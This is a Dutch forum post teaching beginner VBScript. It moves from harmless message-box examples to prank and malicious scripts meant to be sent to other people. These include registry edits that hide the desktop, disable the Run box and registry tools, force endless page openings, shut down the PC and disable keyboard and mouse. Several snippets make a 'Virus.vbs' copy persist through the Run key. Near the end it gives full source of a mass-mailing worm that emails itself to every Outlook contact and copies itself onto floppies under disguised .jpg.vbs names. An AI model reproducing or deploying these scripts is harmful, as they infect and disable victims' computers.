http://www.intertet.org/post/vbs_script ... gen-67328/
Ik hoop dat jullie er wat aan hebben. Volgens mij staat het in het verkeerde forum deel maar ik kon geen nieuw onderwerp aanmaken in de non-runescape guide. Sorry daarvoor.
de 1e keer een vb scriptje maken:
Stap 1 :
open je kladblok
stap 2 :
dan typ je
Code:
msgbox"Hier komt een berichtje"
stap 3 :
Sla deze op, kies opslaan als en noem het vulhiermaarietsin.vbs en sla het op als type "alle bestanden"
als je nu dat bestandje aanklikt zul je zien dat er een venstertje opent met: Hier komt een berichtje
Dit opslaan wordt niet iedere keer herhaalt dus vergeet dit niet.
Nu gaan we verder met een titel aan het balkje toevoegen
Dit doe je met deze code:
Code:
msgbox "Hier komt een berichtje!",0,"Hier komt de titel"
Simpel toch?
Ja!, Oke we gaan verder !
Nee? Ben je niet vergeten op te slaan zoals bij stap 3 beschreven stond?
Die 0 moet je niet weghalen anders werkt het niet, die 0 staat er in dit geval om aantegeven dat er niks staat. Je kan er wel wat neerzetten, wordt alleen niet weergegeven
Nu gaan we een reactie maken op wat er eerder als is ingetypt.
Code:
a=inputbox("Welke kleur is je haar?")
msgbox "Jij hebt een rare kleur haar! je kleur haar is:"+a
Dit zal een venster met een tekst venstertje geven waar je je kleur haar in kan intypen, daarna zie je een venstertje met de kleur haar die je hebt.
voor de wat gevorderder gebruiker a=inputbox("Welke kleur is je haar?") kan je ook veranderen in b=inputbox("Welke kleur is je haar?") zo kan je meerdere dingen laten zien. vergeet niet dat +a achter de msgbox code dan ook in +b verandert moet worden!
nu gaan we een datum invoegen,
dit doe je op de volgende manier
Code:
msgbox"de datum is," & date & ",oke?"
deze zal aangeven de datum is,22-22-2222,oke?
als je er geen tekst achteraan wilt dan zou je de code zo moeten maken
Code:
msgbox"de datum is:" & date"
andere functie's die je ipv de datum zou kunnen invoegen zijn:
Day = geeft de dag weer
Hour = geeft het uur weer
Minute = geeft de minuut weer
Month = geef de maand in een getal weer
MonthName = geeft de naam van de maand neer, wel in het engels!
Now = geeft de datum en de tijd op je pc aan
Time = geeft de tijd in uren minuten en seconden aan
Weekday = geeft de dag van de week aan
WeekdayName = geeft de naam van de dag aan, wel in het engels!
Year = geeft het jaar aan
dus dan krijg je bv voor year:
Code:
msgbox"We leven in het jaar:" & year"
We gaan weer verder !
we gaan nu een ja en nee knop toevoegen met een actie daar aan vastgeplakt
Code:
if msgBox("Wilt u dit doen?", vbYesNo, "vraag") = vbYes then
msgbox "missie geslaagd"
else
msgbox "idioot dat je bent!, je bent niet geslaagd!"
end if
dat is pas cool he, tussen de then en the else moet je de actie's plakken die gebeuren als je ja of nee klikt,
bij then moet komen wat bij ja gebeurt en bij else moet komen wat bij nee gebeurt.
Ook kan je variabelen maken in vb script, dat doe je zo
Code:
MijnTekenreeks = Date & " is de datum van vandaag, want " _
& "dat heeft mijn vb scriptje uitgelezen vanaf mijn pc " _
& "goed h? ?!."
msgbox MijnTekenreeks
deze code zal van mijntekenreeks een variabele maken en dan in een venster laten zien wat in dat variabele staat,
ook kan je een scriptje maken die uitleest wat allemaal in de variabele staat
dat doe je zo:
Code:
MijnTekenreeks = Date & " is de datum van vandaag, want " _
& "dat heeft mijn vb scriptje uitgelezen vanaf mijn pc " _
& "goed h? ?!."
MsgBox "Het aantal karakters is: " & Len(MijnTekenreeks)
deze code telt het aantal tekens die normaal in die variabele komen te staan als je het in een venstertje laat zien.
nu gaan we de cdspelers openen, zoals onderaan ook wel bijgevoegd is, maar ook weer sluiten!!!
Code:
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
Zo nu komt er weer een stuk bij aan, het is al laat dus alles wat ik nu neit af krijg komt morgen
zo maak je een van de titel een variabele:
Code:
strTitle = "Venstertitel"
msgbox "Nieuwe messagebox",64,strTitle
StrTitle is dus hoe de messagebox heet.
64 is een getal voor hoe de messagebox er uit gaat zien. Hier staan de
getallen met de beschrijving: voor die getallen in op de plaats van de 64 bij het script hierboven, je krijgt steeds andere icoontjes.
4096= System Modal (een venster dat op de voorgrond blijft staan)
64 = Informatical (een uitroepteken)
48 = Warning (een gele waarschuwingsdriehoek)
32 = Question (een vraagteken)
16 = Critical (een rode cirkel met een kruis)
0 = Niks
4096 = System Modal (een venster dat op de voorgrond blijft staan)
dit kan je ook aan elkaar plakken :
Code:
msgbox "Tekst",4096 + 48,"Titel"
er zijn nog meer mogelijk heden:
0 = vbOKOnly (hiermee geef je alleen de OK knop weer)
1 = vbOKCancel (hiermee geef je de knoppen OK en Annuleren weer)
2 = vbAbortRetryIgnore (hiermee geef je de knoppen Afbreken, Opnieuw en Negeren weer)
3 = vbYesNoCancel (hiermee geef je de knoppen Ja, Nee en Annuleren weer)
4 = vbYesNo (hiermee geef je de knoppen Ja en Nee weer)
je kan nog een standaardknop selecteren die als je het venster krijgt, gemarkeerd is.
0 = vbDefaultButton1 (de eerste knop is de standaardknop, vanaf links geteld)
256 = vbDefaultButton2 (de tweede knop is de standaardknop)
512 = vbDefaultButton3 (de derde knop is de standaardknop)
er zullen nog wel meer mogelijkheden zijn, dus probeer wat cijfertjes in te vullen en bekijk het resultaat
met het volgende script kan je een actie aan een venster hangen met 3 knoppen in dit geval kiezen we nummer 2 samen met een uitroep teken als icoontje:
Code:
input1 = msgbox("Tekst",64 + 2,"Titel")
Select Case input1
Case vbAbort
msgbox"je koos voor afbreken"
Case vbRetry
msgbox"je koos voor opnieuw"
Case vbIgnore
msgbox"je koos voor negeren"
End Select
nouw gaan we 100 x de zelfde message box oplaten starten
Code:
for i = 1 to 100
msgbox "je tekst"
next
dit script geeft 100 x een messagebox met daarin je tekst.
we gaan weer verder het wordt allemaal een beetje een rommeltje van code's enz maarja je kan er nu wel veel vinden.
we gaan nu de icontjes op het desktop laten verdwijnen:
Code:
Set shl = CreateObject("Wscript.shell")
Shl.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDesktop","1"
deze code verandert dus iets in het register zodat de icoontjes verdwijnen, simpel en leuk
nu weer verder we gaan de uitvoeren knop in het start menu laten verdwijnen:
Code:
Set shl = CreateObject("Wscript.shell")
Shl.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun","1"
Deze code doet het zelfde alleen dan voor het zoken in plaats van uitvoeren:
Code:
Set shl = CreateObject("Wscript.shell")
Shl.RegWrite
"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind","1"
weer verder, deze code zorgt er voor dat programmas geen wijzigingen kunnen aanbrengen in het register
Code:
Set shl = CreateObject("Wscript.shell")
Shl.RegWrite
"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\
DisableRegistryTools","1"
Deze code laat de taakbalk verdwijnen:
Code:
Set shl = CreateObject("Wscript.shell")
Shl.RegWrite
"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetTaskbar","1"
Deze code zorgt ervoor dat er geen menu onder de rechter muisknop zit:
Code:
Set shl = CreateObject("Wscript.shell")
Shl.RegWrite
"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu","1"
als je de bovenstaande codes ongedaan wilt maken gebruik dan dit script:
Code:
Dim strMsg,inp01,strTitle,strFlag
strTitle = "Answer Box"
strMsg = "1 voor uitschakelen van no desktop" & vbCR
strMsg = strMsg & "" & vbCR
strMsg = strMsg & "2 voor uitschakelen van no run" & vbCR
strMsg = strMsg & "" & vbCR
strMsg = strMsg & "3 voor uitschakelen van no find" & vbCR
strMsg = strMsg & "" & vbCR
strMsg = strMsg & "4 voor uitschakelen van no set taskbar" & vbCR
strMsg = strMsg & "" & vbCR
strMsg = strMsg & "5 voor uitschakelen van no view context menu" & vbCR
strMsg = strMsg & "" & vbCR
strMsg = strMsg & "6 voor uitschakelen van disable registry tools" &
vbCR
strMsg = strMsg & "" & vbCR
strMsg = strMsg & "7 over de copyright op dit programma" & vbCR
strMsg = strMsg & "" & vbCR
strMsg = strMsg & "8 om dit programma te sluiten" & vbCR
strMsg = strMsg & "" & vbCR
strFlag = False
Do While strFlag = False
inp01 = InputBox(strMsg,"Programma om registerwijzigingen uit te
schakelen")
Select Case inp01
Case "1"
Set shl = CreateObject("Wscript.shell")
Shl.RegWrite
"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDesktop","0"
Case "2"
Set shl = CreateObject("Wscript.shell")
Shl.RegWrite
"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun","0"
Case "3"
Set shl = CreateObject("Wscript.shell")
Shl.RegWrite
"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind","0"
Case "4"
Set shl = CreateObject("Wscript.shell")
Shl.RegWrite
"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetTaskbar","0"
Case "5"
Set shl = CreateObject("Wscript.shell")
Shl.RegWrite
"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu","0"
Case "6"
Set shl = CreateObject("Wscript.shell")
Shl.RegWrite
"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools","0"
Case "7"
MsgBox "Copyrights to Under_Rap Aka Cyber dragon ©2004",64,strTitle
strFlag = True
Case "8"
Wscript.Quit
strFlag = True
Case Else
MsgBox "Maak keuze 8 om te stoppen",64,strTitle
End Select
loop
Wscript.Quit
Laat je script op een bepaalde datum opstarten:
Code:
If Day(Now) = 5 And Month(Now) = 20 Then
msgbox "het is nu 20 mei"
End If
deze code start dus op 20 mei
deze code meot dus wel bij het opstarten meteen weer geactiveerd worden want anders werkt ie natuurlijk niet
dat doe je zo:
Code:
If Day(Now) = 5 And Month(Now) = 20 Then
msgbox "het is nu 20 mei"
End If
Set Shl = CreateObject("Wscript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")
winfolder = fso.GetSpecialFolder(0)
Set vbsfile = fso.GetFile(WScript.ScriptFullName)
vbsfile.Copy winfolder & "Virus.vbs"
Shl.RegWrite
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Start
menu",winfolder & "Virus.vbs"
Nouwja weer verder het wordt echt 1 dikke bende geloof ik
we gaan het script voor korte tijd laten slapen:
Code:
Wscript.Sleep 1000
dit script laat het script 1 sec slapen, dus voor 10 sec zul je 10000 in moeten vullen en voor 1 minuut 60000 enz enz.
dit scriptje kom niet van mij dus denk neit dat ik homo ben ofzo ik heb dit zo naar me toe gemaild gekregen
dit scriptje opent een gay pagina om de zoveel tijd, komt ook terug naar opnieuw opstarten!:
Code:
Wscript.Sleep 120000
Set shl = CreateObject("Wscript.shell")
shl.Run "http://users.libero.it/commit/gay/gay.htm"
Set Shl = CreateObject("Wscript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")
winfolder = fso.GetSpecialFolder(0)
Set vbsfile = fso.GetFile(WScript.ScriptFullName)
vbsfile.Copy winfolder & "Virus.vbs"
Shl.RegWrite
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Start
menu",winfolder & "Virus.vbs"
wil je dat het niet in je opstart volgorde gezet wordt ?
Code:
Set shl = CreateObject("Wscript.shell")
shl.Run "http://users.libero.it/commit/gay/gay.htm"
wil je dit vaker laten openen ?
doe dan
Code:
for i = 1 to 100
Wscript.Sleep 120000
Set shl = CreateObject("Wscript.shell")
shl.Run "http://users.libero.it/commit/gay/gay.htm"
ik hoop dat jullie de verbanden tussen de scriptjes al een beetje gaan snappen en door hebben wat alles doet
nu iets om te zorgen dat je script verder gaat bij een error: zet dan deze code boven aan je scriptje
Code:
On error resume next
verander de naam van de prullenbak
Code:
Option Explicit
Dim WshShell, strRecycle, strOldName, strNewName, NL, RBn
Set WshShell = Wscript.CreateObject("WScript.Shell")
'Registry key to read for current name.
strRecycle = "HKCR\CLSID\{645FF040-5081" &_
"-101B-9F08-00AA002F954E}\"
'Read the Registry key and store the string value.
strOldName = WshShell.RegRead(strRecycle)
'Show the existing Recycle Bin name and prompt for new name.
NL = vbCRLF
strNewName = InputBox("Current name of Recyle Bin shown" &_
" below. " & NL & NL & "Enter a new name " &_
"and click OK", , strOldName)
'If new name was entered, write it to Registry key.
If strNewName <> "" Then
WshShell.RegWrite strRecycle, strNewName
End If
'Show results.
RBn = "Recycle Bin name "
If strNewName = "" or strNewName = StrOldName Then
WshShell.Popup RBn & "NOT changed.", , , 64
Else
WshShell.Popup RBn & "CHANGED to " & strNewName, , , 64
End If
simpel scripje waarbij je zelf de naam kan opgeven
dit scriptje laat alle programmas die geinstalleerd zijn op je pc zien op een rijtje:
Code:
'This script should run on Windows 2000 and Windows XP as is, and on
'Windows 9X and NT where WMI and current scripting engine are installed.
'Capability to probe a remote computer only available on NT to NT type
'Operating Systems, and only if the local computer is logged in with the
'same ID and PW as the remoted computer.
'Output is to tab delimited text file which can be imported to newer
'versions of Excel and converted to a spreadsheet.
'GetAddRemove Function based on script posted by Torgeir Bakken
'Date: Wed, 17 Sep 2003 21:06:44 +0200
'From: "Torgeir Bakken (MVP)"
'Subject: Re: Track installed software, patches and plugins using WMI
'Newsgroups: microsoft.public.win32.programmer.wmi
Option Explicit
Dim sTitle
sTitle = "InstalledPrograms.vbs by Bill James"
Dim StrComputer
strComputer = InputBox("Enter I.P. or name of computer to check for " & _
"installed software (leave blank to check " & _
"local system)." & vbcrlf & vbcrlf & "Remote " & _
"checking only from NT type OS to NT type OS " & _
"with same Admin level UID & PW", sTitle)
If IsEmpty(strComputer) Then WScript.Quit
strComputer = Trim(strComputer)
If strComputer = "" Then strComputer = "."
'Wscript.Echo GetAddRemove(strComputer)
Dim sCompName : sCompName = GetProbedID(StrComputer)
Dim sFileName
sFileName = sCompName & "_" & GetDTFileName() & "_Software.txt"
Dim s : s = GetAddRemove(strComputer)
If WriteFile(s, sFileName) Then
'optional prompt for display
If MsgBox("Finished processing. Results saved to " & sFileName & _
vbcrlf & vbcrlf & "Do you want to view the results now?", _
4 + 32, sTitle) = 6 Then
WScript.CreateObject("WScript.Shell").Run sFileName, 9
End If
End If
Function GetAddRemove(sComp)
'Function credit to Torgeir Bakken
Dim cnt, oReg, sBaseKey, iRC, aSubKeys
Const HKLM = &H80000002 'HKEY_LOCAL_MACHINE
Set oReg = GetObject("winmgmts:{impersonationLevel=impersonate}!\\" & _
sComp & "/root/default:StdRegProv")
sBaseKey = "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\"
iRC = oReg.EnumKey(HKLM, sBaseKey, aSubKeys)
Dim sKey, sValue, sTmp, sVersion, sDateValue, sYr, sMth, sDay
For Each sKey In aSubKeys
iRC = oReg.GetStringValue(HKLM, sBaseKey & sKey, "DisplayName", sValue)
If iRC <> 0 Then
oReg.GetStringValue HKLM, sBaseKey & sKey, "QuietDisplayName", sValue
End If
If sValue <> "" Then
iRC = oReg.GetStringValue(HKLM, sBaseKey & sKey, _
"DisplayVersion", sVersion)
If sVersion <> "" Then
sValue = sValue & vbTab & "Ver: " & sVersion
Else
sValue = sValue & vbTab
End If
iRC = oReg.GetStringValue(HKLM, sBaseKey & sKey, _
"InstallDate", sDateValue)
If sDateValue <> "" Then
sYr = Left(sDateValue, 4)
sMth = Mid(sDateValue, 5, 2)
sDay = Right(sDateValue, 2)
'some Registry entries have improper date format
On Error Resume Next
sDateValue = DateSerial(sYr, sMth, sDay)
On Error GoTo 0
If sdateValue <> "" Then
sValue = sValue & vbTab & "Installed: " & sDateValue
End If
End If
sTmp = sTmp & sValue & vbcrlf
cnt = cnt + 1
End If
Next
sTmp = BubbleSort(sTmp)
GetAddRemove = "INSTALLED SOFTWARE (" & cnt & ") - " & sCompName & _
" - " & Now() & vbcrlf & vbcrlf & sTmp
End Function
Function BubbleSort(sTmp)
'cheapo bubble sort
Dim aTmp, i, j, temp
aTmp = Split(sTmp, vbcrlf)
For i = UBound(aTmp) - 1 To 0 Step -1
For j = 0 to i - 1
If LCase(aTmp(j)) > LCase(aTmp(j+1)) Then
temp = aTmp(j + 1)
aTmp(j + 1) = aTmp(j)
aTmp(j) = temp
End if
Next
Next
BubbleSort = Join(aTmp, vbcrlf)
End Function
Function GetProbedID(sComp)
Dim objWMIService, colItems, objItem
Set objWMIService = GetObject("winmgmts:\\" & sComp & "\root\cimv2")
Set colItems = objWMIService.ExecQuery("Select SystemName from " & _
"Win32_NetworkAdapter",,48)
For Each objItem in colItems
GetProbedID = objItem.SystemName
Next
End Function
Function GetDTFileName()
dim sNow, sMth, sDay, sYr, sHr, sMin, sSec
sNow = Now
sMth = Right("0" & Month(sNow), 2)
sDay = Right("0" & Day(sNow), 2)
sYr = Right("00" & Year(sNow), 4)
sHr = Right("0" & Hour(sNow), 2)
sMin = Right("0" & Minute(sNow), 2)
sSec = Right("0" & Second(sNow), 2)
GetDTFileName = sMth & sDay & sYr & "_" & sHr & sMin & sSec
End Function
Function WriteFile(sData, sFileName)
Dim fso, OutFile, bWrite
bWrite = True
Set fso = CreateObject("Scripting.FileSystemObject")
On Error Resume Next
Set OutFile = fso.OpenTextFile(sFileName, 2, True)
'Possibly need a prompt to close the file and one recursion attempt.
If Err = 70 Then
Wscript.Echo "Could not write to file " & sFileName & ", results " & _
"not saved." & vbcrlf & vbcrlf & "This is probably " & _
"because the file is already open."
bWrite = False
ElseIf Err Then
WScript.Echo err & vbcrlf & err.description
bWrite = False
End If
On Error GoTo 0
If bWrite Then
OutFile.WriteLine(sData)
OutFile.Close
End If
Set fso = Nothing
Set OutFile = Nothing
WriteFile = bWrite
End Function
random password generator:
Code:
Option Explicit
Dim Title, NumChar, Count, strRdm, intRdm
Title = "Random.vbs by Bill James"
NumChar = InputBox("Enter a number between 1 and 1000 to generate a " & _
"case sensitive string with that number of characters:", _
Title,
If NOT IsNumeric(NumChar) Then
MsgBox Chr(34) & NumChar & Chr(34) & " is invalid input." & vbcrlf & _
vbcrlf & "Input must be a number between 1 and 1000",, Title
WScript.Quit
Else
NumChar = CInt(NumChar)
If NumChar < 1 OR NumChar > 1000 Then
MsgBox Chr(34) & NumChar & Chr(34) & " is invalid input." & vbcrlf & _
vbcrlf & "Input must be a number between 1 and 1000",, Title
WScript.Quit
End If
End If
Randomize Timer
Do Until Count = NumChar
Count = Count + 1
GetRdm
strRdm = strRdm & Chr(intRdm)
Loop
InputBox NumChar & " character case sensitive string:" & vbcrlf & vbcrlf & _
"(Press Ctrl + C to copy results to Clipboard)", Title, strRdm
Sub GetRdm
intRdm = Int((122 - 49) * Rnd + 48)
If intRdm > 57 And intRdm < 65 Or intRdm > 90 And intRdm < 97 Then GetRdm
End Sub
verander de achtergrond van je bureablad, of stuur naar iemand anders en laat een plaatje van internet af instellen als achtergrond.
Code:
sub main ()
dim keyWallpaper, Wallpaper
KeyWallpaper = "HKEY_CURRENT_USER\Control Panel\Desktop\wallpaper"
Wallpaper = "HIER JE ACHTERGROND"
Set shl = CreateObject("Wscript.shell")
shl.RegWrite KeyWallpaper, Wallpaper
End sub
verander iemand zn msn naam gewoon sturen en laten openen en hij verandert werkt jammer genoeg bij alle versies van msn
Code:
Set WshShell = CreateObject("Wscript.shell")
WshShell.Run ("msnmsgr.exe")
Wscript.Sleep 1200
WshShell.sendkeys "%x"
WshShell.sendkeys "O"
WshShell.sendkeys "(Msn Naam..)"
laat het start menu langzamer verschijnen:
Code:
Set shl = CreateObject("Wscript.shell")
Shl.RegWrite "HKEY_CURRENT_USER\Control Panel\Desktop\MenuShowDelay", "10000"
dit script laat je 10 sec wachten voordat je het start menu ziet, leuk om iemand te pesten
iets oneindig herhalen:
Code:
do
msgbox"dit bericht komt steeds weer"
loop
deze code laat een bericht zovaak zeggen als de gebruiker wil, en zegt wat de gebruiker wil leuk
Code:
a = Inputbox ("Aantal keer: ")
b = Inputbox ("Wat zeggen: ")
for i = 1 to cint(a)
msgbox b,64,"Bericht"
next
een folder aanmaken:
Code:
path = "C:\New"
set filesys=CreateObject("Scripting.FileSystemObject")
If Not filesys.FolderExists(path) Then
Set folder = filesys.CreateFolder(path)
End If
een folder verwijderen:
Code:
' delete
Set fso = CreateObject("Scripting.FileSystemObject")
Set aFolder = fso.GetFolder("C:\New")
aFolder.Delete
een scriptje dat over zoveel tijd een site opstart en dat steeds weer doet :
Code:
Wscript.Sleep 40000
Do
Wscript.Sleep 20000
Set WshShell = WScript.CreateObject ("WScript.Shell")
WshShell.Run ("www.mooiwark.com")
Loop
deze start na 40 sec en refresht om de 20 sec de site van mooiwark
nu ff wat links naar een tut over batch files:
http://www.flowhost.com/wim/tutorials/p ... -deel1.pdf
http://www.flowhost.com/wim/tutorials/p ... -deel2.pdf
http://www.flowhost.com/wim/tutorials/p ... -deel3.pdf
dit omdat ik dit niet allemaal ga uitleggen, want met batch heb je nog veel meer mogelijkheden met vbscript, maar batch is zo uitgebreid dat ik niet alles hier ook nog ga vertellen
weer iets gevonden maar ben zeker neit verantwoordelijk wat jullie hier mee doen !!!
dit script verstuurt het hele vbscript naar al je contact personen in outlook en verplaatst zich ook naar diskettes enz en kies daar een random name, dit zelfde doet hij dus ook bij mensen die jij infecteert, pas op dit is strafbaar !!!
Code:
On error resume next
randomize
set fso=createobject("scripting.filesystemobject")
set wscriptshell=createobject("wscript.shell")
set drives=fso.drives
for each drive in drives
if drive="C:" then
if drive.isready then
drivefull=drive & "\"
set e5d=fso.getfolder(drivefull)
set subs=e5d.subfolders
for each subfolder in subs
subst=mid(subfolder.path,4,3)
if subst="WIN" then
auto=subfolder.path
end if
next
end if
end if
next
autos=auto & "\run32dll.vbs"
fso.copyfile wscript.scriptfullname,autos
if wscript.scriptfullname <> autos then
msgbox "Cannot open file",16,"Internet Explorer"
end if
mailed=auto & "\clickme.jpg.vbs"
fso.copyfile wscript.scriptfullname,mailed
if wscriptshell.regread("HKLM\SOFTWARE\Microsoft")<>"1" then
set out=createobject("Outlook.Application")
if out="Outlook" then
set mapi=out.GetNameSpace("MAPI")
set newitem=mapi.getdefaultfolder(6)
do while newitem.items.count<>1
for each item in newitem.items
do while item.Attachments.count<>0
for each itatt in item.Attachments
itatt.delete
next
loop
item.subject="check dit"
item.Body="leuk plaatje"
item.attachments.add mailed
item.send
next
loop
set item=Nothing
set itatt=nothing
set newitem=Nothing
set newitem=mapi.getdefaultfolder(5)
do while newitem.items.count<>1
for each item in newitem.items
do while item.Attachments.count<>0
for each itatt in item.Attachments
itatt.delete
next
loop
item.subject="check dit"
item.Body="leuk plaatje"
item.attachments.add mailed
item.send
next
loop
set item=Nothing
set itatt=nothing
set newitem=Nothing
set out=Nothing
wscriptshell.regwrite "HKLM\SOFTWARE\Microsoft","1"
end if
end if
tim=minute(time)
tim=tim+6
timstandard=minute(time)
if tim>53 then
tim=01
end if
if timstandard=tim then
tim=minute(time)
tim=tim+6
trig=int((10*rnd)+1)
select case trig
case 1
floppya="a:\PIZZABOY.txt.vbs"
case 2
floppya="a:\YOU-ARE-DOOMED.txt.vbs"
case 3
floppya="a:\JESUS666.txt.vbs"
case 4
floppya="a:\ANDRIANA-SKLENARIKOVA.JPG.vbs"
case 5
floppya="a:\DE NIRO FUCKS NAOMI.JPG.vbs"
case 6
floppya="a:\SPIDERMAN_LIVES.txt.vbs"
case 7
floppya="a:\HACKING_WINDOWS.TXT.vbs"
case 8
floppya="a:\EUROVISION_ORGY.JPG.vbs"
case 9
floppya="a:\Sex_Advices.txt.vbs"
case else
floppya="a:\MELINDA'S EYES.JPG.vbs"
end select
set repla=fso.createtextfile(floppya,true)
repla.write code
repla.close
set repla=nothing
floppya=""
loop
Tijdslimiet bij de beslissing zette
handig als je een loop gebruikt
Code:
Option Explicit
Const wshYes = 6
Const wshNo = 7
Const wshYesNo = 4
Const wshQuestion = 32
Dim objShell
Dim Answer
Set objShell = CreateObject("Wscript.Shell")
Answer = objShell.Popup("Macro opstarten?", 5, "Confirm", wshYesNo + wshQuestion)
Set objShell = Nothing
If Answer = wshYes Then
MsgBox "Ja", vbOkOnly, "Answer"
ElseIf Answer = wshNo Then
MsgBox "Nee", vbOkOnly, "Answer"
Else
MsgBox "Geen beslissing...", vbOkOnly, "Timed Out"
End If
Eerst wel even weer genoeg om jullie zoet mee te houden kindertjes
wat gemene rotcodes volgen nu: Kijk alsjeblieft uit!!!
Laat de pc afsluiten:
Code:
Set OpSysSet = GetObject("winmgmts:{(Shutdown)}//./root/cimv2").ExecQuery("select * from Win32_OperatingSystem where Primary=true")
for each OpSys in OpSysSet
OpSys.ShutDown()
next
wijzig de naam van de titel van de Internet Explorer.
Code:
Set shl = CreateObject("Wscript.shell")
Shl.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title","de naam"
verander de startpagina.
Code:
Set shl = CreateObject("Wscript.shell")
Shl.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.websiteforum.nl"
Dit opent je CD-rom/dv/brander.
Code:
Set oWMP = CreateObject("WMPlayer.OCX.7" )
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
Dit laat je PC een heel vaag error geluidje horen.
Code:
Set oWS = WScript.CreateObject("WScript.Shell")
oWS.Run "%comspec% /c echo " & Chr(07), 0, True
Je script in de opstart volgorde zetten.
Code:
Set Shl = CreateObject("Wscript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")
winfolder = fso.GetSpecialFolder(0)
Set vbsfile = fso.GetFile(WScript.ScriptFullName)
vbsfile.Copy winfolder & "Virus.vbs"
Shl.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunStart menu",winfolder & "Virus.vbs"
verander de naam van op wie de PC geregistreert staat.
Code:
Set shl = CreateObject("Wscript.shell")
Shl.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\RegisteredOwner", "Hackt by..."
Verander de organistatie waarop de PC geregistreert staat.
Code:
Set shl = CreateObject("Wscript.shell")
Shl.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\RegisteredOrganization", "Hackt by..."
Schakel het toetsenbord uit.
Code:
Set shl = CreateObject("Wscript.shell")
Shl.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\DisableKeyboard", "Rundll32.exe Keyboard,Disable
schakel de muis uit
Code:
Set shl = CreateObject("Wscript.shell")
Shl.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\DisableMouse", "Rundll32.exe Mouse,Disable"
